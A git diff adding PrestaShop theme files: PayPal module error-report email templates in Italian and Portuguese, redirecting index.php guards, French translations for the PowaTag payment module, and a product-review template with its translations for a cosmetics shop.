+header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/paypal2/mails/it/error_reporting.html b/themes/default/modules/paypal2/mails/it/error_reporting.html new file mode 100755 index 0000000..e13a5ed --- /dev/null +++ b/themes/default/modules/paypal2/mails/it/error_reporting.html @@ -0,0 +1,46 @@ + + + + + Messaggio da {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
        {shop_name}
        Salve,
        Errore dal tuo modulo PayPalAPI
        Un cliente ha avuto un problema con il modulo PayPalAPI, vedi il rapporto:
        {logs}
        {shop_name} powered with PrestaShop™
        + + \ No newline at end of file diff --git a/themes/default/modules/paypal2/mails/it/error_reporting.txt b/themes/default/modules/paypal2/mails/it/error_reporting.txt new file mode 100755 index 0000000..56b40dd --- /dev/null +++ b/themes/default/modules/paypal2/mails/it/error_reporting.txt @@ -0,0 +1,9 @@ + Salve, + + Errore dal tuo modulo PayPalAPI + + Un cliente ha avuto un problema con il modulo PayPalAPI, vedi il rapporto: + + {logs} + + {shop_url} powered by PrestaShopâ„¢ diff --git a/themes/default/modules/paypal2/mails/it/index.php b/themes/default/modules/paypal2/mails/it/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/themes/default/modules/paypal2/mails/it/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/paypal2/mails/pt/error_reporting.html b/themes/default/modules/paypal2/mails/pt/error_reporting.html new file mode 100755 index 0000000..d4d7b30 --- /dev/null +++ b/themes/default/modules/paypal2/mails/pt/error_reporting.html @@ -0,0 +1,43 @@ + + + + + Mensagem de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + +
        + {shop_name} +
         
        Hi,
         
        Relatório de erro do seu módulo PayPalAPI
         
        + Um cliente encontrou um problema com o módulo PayPalAPI, veja relatório: +
         
        + {logs} +
         
        + {shop_name} provido por PrestaShopâ„¢ + +
        + + diff --git a/themes/default/modules/paypal2/mails/pt/error_reporting.txt b/themes/default/modules/paypal2/mails/pt/error_reporting.txt new file mode 100755 index 0000000..12949b1 --- /dev/null +++ b/themes/default/modules/paypal2/mails/pt/error_reporting.txt @@ -0,0 +1,9 @@ + Oi, + + Relatório de erro do seu módulo PayPalAPI + + Um cliente encontrou um problem com o módulo PayPalAPI, veja relatório: + + {logs} + + {shop_url} provido por PrestaShop™ diff --git a/themes/default/modules/paypal2/mails/pt/index.php b/themes/default/modules/paypal2/mails/pt/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/themes/default/modules/paypal2/mails/pt/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/themes/default/modules/powatag/translations/fr.php b/themes/default/modules/powatag/translations/fr.php new file mode 100644 index 0000000..16d6f61 --- /dev/null +++ b/themes/default/modules/powatag/translations/fr.php @@ -0,0 +1,107 @@ +powatag_c164ac045c418625b802f488348bf1f9'] = 'PowaTag'; +$_MODULE['<{powatag}default>powatag_ba232a8e09c58ddb7cce6e6c2712e459'] = 'PowaTag, la solution de paiement en un seul clic, pour augmenter votre taux de conversion mobile et en ligne !'; +$_MODULE['<{powatag}default>powatag_254f642527b45bc260048e30704edb39'] = 'Configuration'; +$_MODULE['<{powatag}default>powatag_b2d37ae1cedf42ff874289b721860af2'] = 'Logs'; +$_MODULE['<{powatag}default>powatagabstract_d3ec7632d605da9da12880dd25ac1af1'] = 'Devise non trouvée : %s'; +$_MODULE['<{powatag}default>powatagabstract_4c7490ad9d07138986300c3cab26ee84'] = 'Ce produit n\'existe pas : %s'; +$_MODULE['<{powatag}default>powatagabstract_30bee8c9919a19866a702119b87d62f8'] = 'Cette déclinaison n\'existe pas : %s'; +$_MODULE['<{powatag}default>powatagabstract_478f1f7fd9b80a7d3cbd7e00dc1706fa'] = 'Le prix de la déclinaison est différent de celui de la boutique : %s %s != %s'; +$_MODULE['<{powatag}default>powatagabstract_01d8561901fe857fa3fefe4e04b5e4b0'] = 'En rupture de stock'; +$_MODULE['<{powatag}default>powatagabstract_24297a992eeaa67461e0810b574637e7'] = 'Quantité > stock disponible'; +$_MODULE['<{powatag}default>powatagabstract_a281d7379bcf4fb417e0152dc534a0b0'] = 'Le transporteur ne livre pas : %s'; +$_MODULE['<{powatag}default>powatagabstract_b4d6c48294e4b66bd0cbd55d70e645c7'] = 'Le transporteur n\'est pas actif : %s'; +$_MODULE['<{powatag}default>powatagabstract_e011198578b1ae960342b303d3d5c2b2'] = 'Le transporteur ne délivre pas pour cette Zone : %s'; +$_MODULE['<{powatag}default>powatagabstract_3b81f574e1cfb038c32361cc1431e468'] = 'Ce pays n\'est pas actif : %s'; +$_MODULE['<{powatag}default>powatagabstract_ae7bdef7fe2bbbbf02c11e92c5fceb40'] = 'Mon adresse'; +$_MODULE['<{powatag}default>powatagabstract_d6106a1a6739dae160e5405d29cc2515'] = 'Ne peut pas être livré avec ce transporteur'; +$_MODULE['<{powatag}default>powatagpayment_7e1f29db22516a463851d83869df888d'] = 'Le panier suivant n\'existe pas : %s'; +$_MODULE['<{powatag}default>powatagpayment_61e2a09916061f758bc138cc06ec2fc1'] = 'Le panier est déjà associé à la commande suivante : %s'; +$_MODULE['<{powatag}default>powatagpayment_ed87c7d12f5fc7a8d37ae428129cc972'] = 'Ce client n\'existe pas : %s'; +$_MODULE['<{powatag}default>powatagpayment_42ce4411cce8bc80e8cb34facb207af1'] = 'Les informations envoyés dans la requête ne sont pas identiques à celles sauvées : %s != %s'; +$_MODULE['<{powatag}default>powatagpayment_87ec24c2297667f006fd93f366bf5731'] = 'Pas de transaction trouvée pour, Panier : %s, Appareil : %s, IP : %s'; +$_MODULE['<{powatag}default>powatagpayment_b80452c7eecae1e25698a9d048f0cdf7'] = 'Trop de transactions trouvées pour, Panier : %s, Appareil : %s, IP : %s'; +$_MODULE['<{powatag}default>powatagpayment_898245a24e6e82c984bd0b608c5a2df9'] = 'Cette devise n\'est pas active : %s'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_cec2ab5f5e872165e2fadfe47ad6caf5'] = 'Options de l\'API'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_d876ff8da67c3731ae25d8335a4168b4'] = 'Clé API'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_5e6272bf893cb3e9b30325de7680b50f'] = 'HMAC'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_aa73b594a1643685059a18052c47240b'] = 'URL Endpoint Powatag'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_75498e1de8ec9cc2a0bff6a88559e203'] = 'Entête d\'URL JavaScript'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_6271949874757bc88acf8ec10392b66f'] = 'Entête d\'URL CSS'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_a8ad8ed0d7a57bafaf4fa86fda0dd87f'] = 'Autres options'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_49ffd9480effff979143d2e8d38931c4'] = 'Méthode de livraison'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_814f3c633592e84c3306559ad32ef13f'] = 'Cela sera utilisé pour calculer les frais de transport'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_d62da80ff71a1c32b8d2fcb20c0cb590'] = 'Message de succès'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_64387aaed0905c364b9c99a72f2dc4d6'] = 'Type d\'image'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_3821c92eff2643b0d1ccdce26d2e8e48'] = 'Options de produit'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_28646b1a68c193c494d2545a98244db6'] = 'Activer le QR Code'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_9d7c35eae1f19aeffe139811562785ea'] = 'Position du QR Code'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_7d05de6987fe0d3d6be0587b79fc40f8'] = 'Afficher Colonne de droite du Produit'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_fe9bcf5ddcc758d90dbe308c4f8464a1'] = 'Afficher Colonne de gauche du Produit'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_78f9be9df64534c305e01071626b727b'] = 'Afficher En bas du contenu du Produit'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_79fec8d09ca8a2663db327907a910247'] = 'Afficher Bouton Produit'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_94225f5cdacf7fee6667ca2320fb2f60'] = 'Quel champ de SKU utiliser'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_9441356559f394a164fb218c062062fb'] = 'EAN13 ou JAN'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_fbd99ad01b92dbafc686772a39e3d065'] = 'UPC'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_97f08a40f22a625d0cbfe03db3349108'] = 'Identifiant produit'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_dcd320d017d7f3c317bc8b234287bc9f'] = 'Référence'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_b2d37ae1cedf42ff874289b721860af2'] = 'Journaux'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_7ecd779747d06dafaee221f238ed589d'] = 'Activer le journal applicatif'; +$_MODULE['<{powatag}default>adminpowatagconfigurationcontroller_af555d1ba76534facadfda02cb4dfc32'] = 'Activer le journal de requêtes'; +$_MODULE['<{powatag}default>adminpowataglogscontroller_c7892ebbb139886662c6f2fc8c450710'] = 'Sujet'; +$_MODULE['<{powatag}default>adminpowataglogscontroller_ec53a8c4f07baed5d8825072c89799be'] = 'Statut'; +$_MODULE['<{powatag}default>adminpowataglogscontroller_4c2a8fe7eaf24721cc7a9f0175115bd4'] = 'Message'; +$_MODULE['<{powatag}default>adminpowataglogscontroller_44749712dbec183e983dcd78a7736c41'] = 'Date'; +$_MODULE['<{powatag}default>confirmation_0958fcb29b03400b76302dd0b596fbdc'] = 'Commande confirmée'; +$_MODULE['<{powatag}default>confirmation_a305f3e6321cb9eb1f18bf5c87b7031e'] = 'Une commande a été créée avec succès'; +$_MODULE['<{powatag}default>confirmation_f270d0f895e1a199348e3551e599a7e5'] = 'En cas de besoin de contacter le marchand du fait de la commande, merci d\'utiliser la référence suivante'; +$_MODULE['<{powatag}default>confirmation_c26f2cf30d8249ad6aec8df5aa74124a'] = 'Le statut de la commande est:'; +$_MODULE['<{powatag}default>confirmation_0d2039b495b0b5597c87fb9bb6a5f51e'] = 'Vous pouvez visiter la boutique en cliquant'; +$_MODULE['<{powatag}default>confirmation_6c92285fa6d3e827b198d120ea3ac674'] = 'Ici'; +$_MODULE['<{powatag}default>error_840e8d20484ff502ee269c0c1300f3f1'] = 'Erreur '; +$_MODULE['<{powatag}default>error_a0cf19753cf8fe49411fd29aa784c00c'] = 'Vous ne pouvez pas voir les détails de cette commande'; +$_MODULE['<{powatag}default>error_9d680c117d486f9800a2976a8b05396e'] = 'Afin d\'accéder aux détails, merci de vous connecter'; +$_MODULE['<{powatag}default>powatag_configuration_after_ac270e0ae57b00050f2b5ba120b18a18'] = 'Si vous avez des difficultés ou des questions, merci de télécharger sur'; +$_MODULE['<{powatag}default>powatag_configuration_after_6a94efad08e2e7aabc153e876e802bab'] = 'http://fe-dev.powaweb.io/pdf/usermanual.pdf'; +$_MODULE['<{powatag}default>powatag_configuration_after_0509dd4c9789b13b11b0bff117733dcd'] = 'Manuel utilisateur'; +$_MODULE['<{powatag}default>powatag_configuration_after_0cba8d49a8a98ef657bc69a557b2706d'] = 'ou email'; +$_MODULE['<{powatag}default>powatag_configuration_after_14e4528f297758292a40b524ece9b6b3'] = 'mailto:powatagmerchantsupport@powa.com'; +$_MODULE['<{powatag}default>powatag_configuration_after_40c416816ff65e1a16216f1a2da3d18b'] = 'PrestaShop Enquiry'; +$_MODULE['<{powatag}default>powatag_configuration_before_c164ac045c418625b802f488348bf1f9'] = 'PowaTag'; +$_MODULE['<{powatag}default>powatag_configuration_before_402943003b4d9defc16907111b856cea'] = 'Caractéristiques PowaTag'; +$_MODULE['<{powatag}default>powatag_configuration_before_eae4c1349d155e57ebd1a9a245b0fb32'] = 'Augmente les taux de conversion mobile & online'; +$_MODULE['<{powatag}default>powatag_configuration_before_91f421e886e0ba5b1c0af34d59f7b82f'] = 'Vendre partout, à n\'importe quelle heure'; +$_MODULE['<{powatag}default>powatag_configuration_before_86da54f80878ca6e218a7e406421b8fa'] = 'Permet l\'achat en un clic'; +$_MODULE['<{powatag}default>powatag_configuration_before_dcc37a2b01e7801aa3977932c4156471'] = 'Solution omnicanal qui permet de nouveaux canaux de vente'; +$_MODULE['<{powatag}default>powatag_configuration_before_03df362d5faff9da8b9652f02dfda111'] = 'implique, stimule et récompense la fidélité des consommateurs'; +$_MODULE['<{powatag}default>powatag_configuration_before_af5cc364997a1cd395df3a8fda09657a'] = 'http://www.youtube.com/embed/toNk4jVnJC4?controls=0&showinfo=0&rel=1'; +$_MODULE['<{powatag}default>powatag_configuration_before_20efc8190821a61d58d97c83049401cc'] = 'Pour plus de support'; +$_MODULE['<{powatag}default>powatag_configuration_before_6a94efad08e2e7aabc153e876e802bab'] = 'http://fe-dev.powaweb.io/pdf/usermanual.pdf'; +$_MODULE['<{powatag}default>powatag_configuration_before_0dd9fefe4bff9426aa6dd15c0584d627'] = 'Cliquer ici pour télécharger le manuel utilisateur PowaTag'; +$_MODULE['<{powatag}default>powatag_configuration_before_9c888c824690ff560b1687b38717cf23'] = 'La liberté commerciale, c\'est de connaitre vos clients'; +$_MODULE['<{powatag}default>powatag_configuration_before_577fbd7945527a7b0fa3a9e476745fc5'] = 'PowaTag est une nouvelle solution mobile professionnelle qui réalise l’intégration fluide du monde réel et du monde en ligne pour transformer le futur.'; +$_MODULE['<{powatag}default>powatag_configuration_before_920da8ddc3c22ea3851c9340c33e2d85'] = 'Chainon manquant du retail, PowaTag allie la satisfaction instantanée du shopping dans le monde réel à la vitesse, la commodité et la richesse d’information du commerce sur internet.'; +$_MODULE['<{powatag}default>powatag_configuration_before_d35794e5cd4be0b9122cd72555752ff3'] = 'PowaTag est un intermédiaire de paiement sur téléphone mobile, s’intégrant directement à la plate-forme PrestaShop et aux infrastructures de paiement existantes'; +$_MODULE['<{powatag}default>powatag_configuration_before_fe6e051c947bc1d83dc517c40e77e211'] = 'Les avantages de PowaTag'; +$_MODULE['<{powatag}default>powatag_configuration_before_1abebfaa4e85e8e543aa4e4915b0556c'] = 'Offrir une expérience client innovante et fluide, sur tous les canaux d’achat.'; +$_MODULE['<{powatag}default>powatag_configuration_before_2c81c0a4b7aea4e294d8107a5511f887'] = 'Permet aux clients d\'acheter en un clic à partir des pages produits'; +$_MODULE['<{powatag}default>powatag_configuration_before_e416e30c539b333f32fea0d8a43aed48'] = 'Permettre aux consommateurs de télécharger votre catalogue et de faire leurs achats à leur convenance à partir de leur portable '; +$_MODULE['<{powatag}default>powatag_configuration_before_b1754d32d5ee8d0cc66ada82f252e249'] = 'Découvrir une solution omni-canal qui ouvre vraiment de nouveaux canaux de vente, ce qui se traduit par des revenus supplémentaires pour vous'; +$_MODULE['<{powatag}default>powatag_configuration_before_e2477c3fa77712a6afd77d301c9a20a3'] = 'Vendre directement et immédiatement à partir de publicités en ligne, magazines ou sur pistes audio (campagnes de télévision, radio)'; +$_MODULE['<{powatag}default>powatag_configuration_before_66ed003633283ca1b951be9e452b6cb9'] = 'Interagir avec les consommateurs : impliquer, stimuler, récompenser la fidélité et pousser à l’action'; +$_MODULE['<{powatag}default>powatag_configuration_before_241373fa154f2de622a7da1a4d039e53'] = 'Encourager et favoriser les achats impulsifs, en simplifiant l’expérience d’achat au sein des infrastructures d’e-commerce qui existent déjà'; +$_MODULE['<{powatag}default>powatag_configuration_before_ea57e8af0c6f5bc38e2b544d8294dbb6'] = 'http://www.powatag.com/page/prestashop_fr#selectedText'; +$_MODULE['<{powatag}default>powatag_configuration_before_c00fde11f32c833a28ae11fc2946effe'] = 'Enregistrez vous maintenant'; +$_MODULE['<{powatag}default>powatag_configuration_before_0ec0305a18fce08b3072b1b46798ff6f'] = 'Questions?'; +$_MODULE['<{powatag}default>powatag_configuration_before_f77ac1dfc7cf26a6b01b360d2a1107a1'] = 'Visitez notre site internet'; +$_MODULE['<{powatag}default>powatag_configuration_before_7d9c1812de1eccf1d6b76fdb9a07181d'] = 'http://powatag.com'; +$_MODULE['<{powatag}default>powatag_configuration_before_e9722ba4751b57282ba6e3374f1fed04'] = 'powatag.com'; +$_MODULE['<{powatag}default>powatag_configuration_before_d00f40e027fbd995c688ae37ae7ac47c'] = 'powatagmerchantsupport@powa.com'; +$_MODULE['<{powatag}default>powatag_configuration_before_40c416816ff65e1a16216f1a2da3d18b'] = 'PrestaShop Enquiry'; +$_MODULE['<{powatag}default>powatag_configuration_before_79c4e0eba4751d82643ba740e8f9ce6d'] = 'Afin de commencer à vendre à vos clients, passer à un compte live en '; +$_MODULE['<{powatag}default>powatag_configuration_before_31c7b87204d32cfd398ad981c1239d41'] = 'http://www.powatag.com/page/prestashop_fr'; +$_MODULE['<{powatag}default>powatag_configuration_before_c61908d15e20a46ffb4f79ebd339f106'] = 'nous contactant'; diff --git a/themes/default/modules/productcomments/productcomments.tpl b/themes/default/modules/productcomments/productcomments.tpl new file mode 100755 index 0000000..911d797 --- /dev/null +++ b/themes/default/modules/productcomments/productcomments.tpl @@ -0,0 +1,246 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        +
        +
        {l s='Vos avis sur ce produit' mod='productcomments'}
        + {if $comments} +
        + {assign var=compteur value=0} + {foreach from=$comments item=comment} + {if $comment.content} +
        +
        + {$comment.customer_surname|escape:'html':'UTF-8'} {$comment.customer_name.0}. +
        {l s='Le ' mod='productcomments'}{dateFormat date=$comment.date_add|escape:'html':'UTF-8' full=0} +
        {$comment.customer_type_de_peau|escape:'html':'UTF-8'} +
        {$comment.customer_age|escape:'html':'UTF-8'}
        +
        +
        +
        +
        {$comment.title}
        + {section name="i" start=0 loop=5 step=1} + {if $comment.grade le $smarty.section.i.index} +
        + {else} +
        + {/if} + {/section} +
        +

        {$comment.content|escape:'html':'UTF-8'|nl2br}

        +
        +
        + {/if} + {/foreach} +
        + + {if isset($HOOK_MOBILE_HEADER)} +
        + {else} +

        {l s='Voir tous les avis' mod='productcomments'}

        + {/if} + {else} +

        {l s='No customer comments for the moment.' mod='productcomments'}

        + {/if} +
        + + + +
        + +
        + {l s='Pourquoi votre avis nous importe-t-il ? Garancia, c\'est une fabuleuse success story qui ne serait pas possible sans vous et votre bouche à oreille incroyable !' mod='productcomments'} +
        +
        +
        +
        {l s='Rédigez votre avis' mod='productcomments'}
        + + {if $criterions|@count > 0} +
          + {foreach from=$criterions item='criterion'} +
        • +
          + + + + + + + + + + + {l s='Très satisfaite' mod='productcomments'} + +
          +
          +
        • + {/foreach} +
        + + + {/if} + + {if isset($HOOK_MOBILE_HEADER)} +
        + +
        +
        + +
        +
        + +
        +
        + +
        +
        +
        + +
        +
        + +
        +
        + +
        +
        +
        + +
        +
        + +
        + + + {else} +

        + +

        +

        + +

        +

        + + + + + +

        +

        + +

        +

        + S'inscrire à la Newsletter + +

        + + {/if} +
        +
        +
        +
        + \ No newline at end of file diff --git a/themes/default/modules/productcomments/translations/en.php b/themes/default/modules/productcomments/translations/en.php new file mode 100755 index 0000000..1e95b57 --- /dev/null +++ b/themes/default/modules/productcomments/translations/en.php @@ -0,0 +1,43 @@ +default_65c182e1e60cf316aac4de93d67205d6'] = 'Please fill in your skin type '; +$_MODULE['<{productcomments}default>default_15b3b634706c6487b3cbbdae8346c79b'] = 'Please fill in your age'; +$_MODULE['<{productcomments}default>default_5f80bedc483c5767cdfa9b15f343dcb2'] = 'Please fill in your first name'; +$_MODULE['<{productcomments}default>productcomments_e1d8c2502b9b2440b13f64fbdca0be62'] = 'Your feedback on this product '; +$_MODULE['<{productcomments}default>productcomments_4bb6577cda03907763c6a7891a1ee839'] = 'Read what users of this product have said about it'; +$_MODULE['<{productcomments}default>productcomments_cbd0828793dd824c73e44e20b225c20e'] = 'Thank you for giving us your feedback. It has been saved and will appear online shortly.'; +$_MODULE['<{productcomments}default>productcomments_4699c98c0cf2f82d23672cb63054c338'] = 'Give your feedback '; +$_MODULE['<{productcomments}default>productcomments_475aa73e94408a813a1e3c1fcb22b8d6'] = 'Not at all satisfied'; +$_MODULE['<{productcomments}default>productcomments_e7c3ced097dfd7c1ae8d552f38443bc4'] = 'Not very satisfied'; +$_MODULE['<{productcomments}default>productcomments_5d8a49446a2c33277c833ddc3a516439'] = 'More or less satisfied'; +$_MODULE['<{productcomments}default>productcomments_70de088a59e4cd63905f18d7f01e1670'] = 'Satisfied'; +$_MODULE['<{productcomments}default>productcomments_11cfd0dc04254cfe208d6360094c546f'] = 'Very satisfied'; +$_MODULE['<{productcomments}default>productcomments_9193f7eebee3a26a139aad70c4a97102'] = 'Feedback heading'; +$_MODULE['<{productcomments}default>productcomments_d4700b697a54fbd43a1a613d32694e7f'] = 'Last Name '; +$_MODULE['<{productcomments}default>productcomments_36017636c3c8fe809630502d2e0f04ff'] = 'First Name '; +$_MODULE['<{productcomments}default>productcomments_0bba72f0d4fced1f126137e80146065b'] = 'Gender'; +$_MODULE['<{productcomments}default>productcomments_4a3bc04657d9e1aaa46b506613da44cc'] = 'Mrs/Ms'; +$_MODULE['<{productcomments}default>productcomments_75f1348df30e64216fe1e073d9f2c639'] = 'Miss'; +$_MODULE['<{productcomments}default>productcomments_2c9b5b15a6d3cc951ca57c65e4966fd3'] = 'Mr'; +$_MODULE['<{productcomments}default>productcomments_9d8d2d5ab12b515182a505f54db7f538'] = 'Age'; +$_MODULE['<{productcomments}default>productcomments_38a9f180bb825af23ff397e4e3160e42'] = '-18'; +$_MODULE['<{productcomments}default>productcomments_b4b40ea7b57527fc7b69c1fd46fc5057'] = '18-25 years'; +$_MODULE['<{productcomments}default>productcomments_50b08056ecde8dba882881d28bd4bf29'] = '25-35 years'; +$_MODULE['<{productcomments}default>productcomments_61ab5bdbe62d14f7b2bcee57e8076166'] = '35-45 years'; +$_MODULE['<{productcomments}default>productcomments_839d8b055088b7f1c38b07a4b62a84fb'] = '35-45 years'; +$_MODULE['<{productcomments}default>productcomments_a15389763bba0be0dd6dc4d061a7c6ab'] = '65+'; +$_MODULE['<{productcomments}default>productcomments_e696983fd2a2f032ce560436e28ae5a4'] = 'Skin type'; +$_MODULE['<{productcomments}default>productcomments_c3bdd33f4283eaaca6b0f6592abcd271'] = 'Very dry'; +$_MODULE['<{productcomments}default>productcomments_ca088e99c824337628d7401c19a24cc6'] = 'Very dry'; +$_MODULE['<{productcomments}default>productcomments_7e89d6e7876433188cc9239b84ace3a3'] = 'Dry'; +$_MODULE['<{productcomments}default>productcomments_5db43af42935991704974c84ccb4fdbb'] = 'Dry'; +$_MODULE['<{productcomments}default>productcomments_6457888345561a2c55c4021256962457'] = 'Normal'; +$_MODULE['<{productcomments}default>productcomments_a6af95f4508ecbbfc3493117aaba7744'] = 'Normal'; +$_MODULE['<{productcomments}default>productcomments_0bb979fca812d28360b8448227d3edae'] = 'Combination'; +$_MODULE['<{productcomments}default>productcomments_9b7f9d07527d12e2cd01f595b75ec5db'] = 'Combination'; +$_MODULE['<{productcomments}default>productcomments_c193c4e73d36294e87ec39d9b888fee6'] = 'Oily'; +$_MODULE['<{productcomments}default>productcomments_3b66391a0578244f33beca6e8c2b47cc'] = 'Oily'; +$_MODULE['<{productcomments}default>productcomments_c83ac9c23c894ac32e1dd57a4c4b47b3'] = 'Your feedback'; +$_MODULE['<{productcomments}default>productcomments_bd9b0592883b8605ecc5ae16718242a5'] = 'Send your feedback'; diff --git a/themes/default/modules/productcomments/translations/fr.php b/themes/default/modules/productcomments/translations/fr.php new file mode 100755 index 0000000..ef041e9 --- /dev/null +++ b/themes/default/modules/productcomments/translations/fr.php @@ -0,0 +1,94 @@ +productcommentcriterion_a09ed6c60eb3213939cecb4c580813cd'] = 'Disponible pour le catalogue entier'; +$_MODULE['<{productcomments}default>productcommentcriterion_467366059d7d7c743a4d0971363a8d66'] = 'Restreint à certaines catégories'; +$_MODULE['<{productcomments}default>productcommentcriterion_772911becd336c843ab09a1d4b4f66c0'] = 'Restreint à certains produits'; +$_MODULE['<{productcomments}default>productcomments-ajax_fd4b5401d4d3c7d32d158bfc1e552f3b'] = 'Veuillez donner votre nom'; +$_MODULE['<{productcomments}default>productcomments-ajax_f88dc17737f7fdd4464b2eb922a8f133'] = 'Une erreur s\'est produite lors de l\'enregistrement de votre commentaire.'; +$_MODULE['<{productcomments}default>productcomments-ajax_7fa4a3510dafd0eac6435c19861b2bb7'] = 'Commentaire publié.'; +$_MODULE['<{productcomments}default>productcomments-ajax_f8694a9aae2eb045920f613cfa7f1235'] = 'En attente de la validation de la modération.'; +$_MODULE['<{productcomments}default>productcomments-ajax_6bf852d9850445291f5e9d4740ac7b50'] = 'Un texte de commentaire est nécessaire.'; +$_MODULE['<{productcomments}default>productcomments-ajax_8aafe254c3e8dceb6425591b322044f2'] = 'Vous devriez attendre %d secondes avant de publier un nouveau commentaire.'; +$_MODULE['<{productcomments}default>productcomments-extra_7c3b0e9898b88deee7ea75aafd2e37e2'] = 'Note moyenne'; +$_MODULE['<{productcomments}default>productcomments-extra_a71a0229e164fecdcde3c4e0f40473fa'] = 'Lire les avis utilisateurs'; +$_MODULE['<{productcomments}default>productcomments-extra_7966126831926ad29c528b239d69f855'] = 'Donnez votre avis'; +$_MODULE['<{productcomments}default>productcomments_b91c4e8b229a399a3bc911d352524a9b'] = 'Commentaires produits'; +$_MODULE['<{productcomments}default>productcomments_9918811c511f3481c085e46c07ab5da8'] = 'Permet aux client de commenter les produits.'; +$_MODULE['<{productcomments}default>productcomments_c888438d14855d7d96a2724ee9c306bd'] = 'Configuration mise à jour'; +$_MODULE['<{productcomments}default>productcomments_1bb54e382f7dbdb260f0aa6b42bb624b'] = 'Critère supprimé'; +$_MODULE['<{productcomments}default>productcomments_e6ea19ae2eb9447f98c7ed74227bb4a3'] = 'Le champ Nom est requis au moins une fois en'; +$_MODULE['<{productcomments}default>productcomments_21b0922096daf5c742cc98986d857cc1'] = 'Critère mis à jour'; +$_MODULE['<{productcomments}default>productcomments_e140a9c4fcfa0aad7af83f65e577c287'] = 'Critère ajouté'; +$_MODULE['<{productcomments}default>productcomments_254f642527b45bc260048e30704edb39'] = 'Configuration'; +$_MODULE['<{productcomments}default>productcomments_9ca2adc05abbe3cc0a659a16fd7d5edc'] = 'Les commentaires doivent être validés par un employé'; +$_MODULE['<{productcomments}default>productcomments_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; +$_MODULE['<{productcomments}default>productcomments_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{productcomments}default>productcomments_66b06316f84eb73075bca0e27f2a5581'] = 'Autoriser les commentaires des visiteurs qui n\'ont pas de compte client'; +$_MODULE['<{productcomments}default>productcomments_2e53b6c4c0d39a73718342ab2366ae37'] = 'Temps minimum entre 2 commentaires d\'un même utilisateur'; +$_MODULE['<{productcomments}default>productcomments_783e8e29e6a8c3e22baa58a19420eb4f'] = 'secondes'; +$_MODULE['<{productcomments}default>productcomments_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{productcomments}default>productcomments_0a36c5f3ea6825804e6b4314c4084a12'] = 'Modérer les commentaires'; +$_MODULE['<{productcomments}default>productcomments_a517747c3d12f99244ae598910d979c5'] = 'Auteur'; +$_MODULE['<{productcomments}default>productcomments_0be8406951cdfda82f00f79328cf4efc'] = 'Commentaire'; +$_MODULE['<{productcomments}default>productcomments_df644ae155e79abf54175bd15d75f363'] = 'Nom du produit'; +$_MODULE['<{productcomments}default>productcomments_06df33001c1d7187fdd81ea1f5b277aa'] = 'Actions'; 